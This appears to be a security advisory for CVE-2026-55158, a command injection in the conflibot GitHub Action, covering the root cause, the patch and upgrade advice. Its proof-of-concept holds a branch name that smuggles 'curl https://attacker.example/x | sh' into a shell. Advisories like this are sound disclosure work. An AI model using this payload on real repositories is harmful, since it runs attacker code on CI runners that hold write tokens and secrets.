critical · 9.1CVE-2026-55158Aug 17, 2026

CVE-2026-55158: conflibot OS Command Injection via Pull Request Branch Name

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A GitHub Actions bot that checks for PR conflicts builds shell commands by dropping the untrusted PR branch name directly into a string, letting any fork author run arbitrary commands on the runner…

Packagewktk/conflibot
Ecosystemactions
Affected< 1.2.1
Fixed in1.2.1
CVE-2026-55158: conflibot OS Command Injection via Pull Request Branch Name

The problem

conflibot fetches and merges branches by constructing git command strings through string interpolation, then passing those strings to a shell for execution. The interpolated value is head.ref, the head branch name of the incoming pull request.

The documented workflow triggers on pull_request_target, which runs in the context of the base repository and exposes the write-scoped GITHUB_TOKEN and any configured secrets to the runner environment. Because anyone can open a pull request from a fork, an attacker controls the branch name with no special privileges and without any maintainer interaction required.

Proof of concept

A working proof-of-concept for CVE-2026-55158 in wktk/conflibot, with the exact payload below.

bash
# Attacker creates a branch with this exact name, then opens a PR against the target repo.
# conflibot interpolates head.ref into a shell string such as:
#   exec(`git fetch origin ${head.ref} && git merge ${head.ref}`)
# The branch name below breaks out of that string and runs an arbitrary command.

git checkout -b 'main; curl https://attacker.example/x | sh #'
git push origin 'main; curl https://attacker.example/x | sh #'

The root cause (CWE-78) is that the action called Node.js exec() with a shell-interpolated string containing head.ref. Because exec() spawns a shell, metacharacters in the branch name, like ;, $(), or backticks, are interpreted as shell syntax rather than literal argument text.

The patch eliminates the shell entirely. Both fix commits (59e255c for v1.2.1, 0107ac6 for v2.0.0) replace exec with execFile/spawn and pass git arguments as discrete array elements. The branch name is never touched by a shell again. Additionally, pull requests are now referenced by number through refs/pull/<n>/head, so the attacker-controlled branch name string is not used as a git argument at all.

The fix

Upgrade to wktk/conflibot@v2 (v2.0.0) or, at minimum, wktk/conflibot@v1.2.1. Pin the action by version tag in your workflow. No configuration-only workaround exists for affected versions. Self-hosted runners upgrading to v2 additionally require Node.js 24 and git 2.38 or later.

Reported by wktk.

References: [1][2][3][4][5][6]

Related research